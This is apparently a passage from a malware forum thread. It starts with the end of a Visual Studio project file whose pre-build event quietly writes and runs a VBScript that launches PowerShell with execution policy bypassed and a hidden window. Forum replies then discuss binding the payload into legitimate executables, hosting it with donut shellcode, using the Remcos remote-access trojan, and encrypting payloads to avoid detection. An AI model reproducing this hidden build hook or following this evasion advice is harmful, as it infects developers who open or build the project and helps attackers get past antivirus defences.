-ExecutionPolicy Bypass -File &quot; ^&amp; h, 0, False &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Function l(n) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Dim o, p &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set o = CreateObject(&quot;ADODB.Recordset&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo p = LenB(n) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo If p ^&gt; 0 Then &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.Fields.Append &quot;q&quot;, 201, p &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.Open &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.AddNew &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o(&quot;q&quot;).AppendChunk n &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.Update &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo l = o(&quot;q&quot;).GetChunk(p) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Else &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo l = &quot;&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo End If &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo End Function &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;cscript //nologo &quot;%25a%25\b.vbs&quot;&#xD;&#xA;endlocal</PreBuildEvent>
</PropertyGroup>

Does it contain a backdoor?

 

[xmarina]

is there any tutorials how to bind it in other legit exe without detections?

you have to use something like donut-shellcode to host CLR, if you want to run it from an unmanaged executable. but donut is detected so you might need to build it yourself.

 

[DarkMatter]

Go with remcos, its enough for you
only important thing is you do a strong encryption on the payload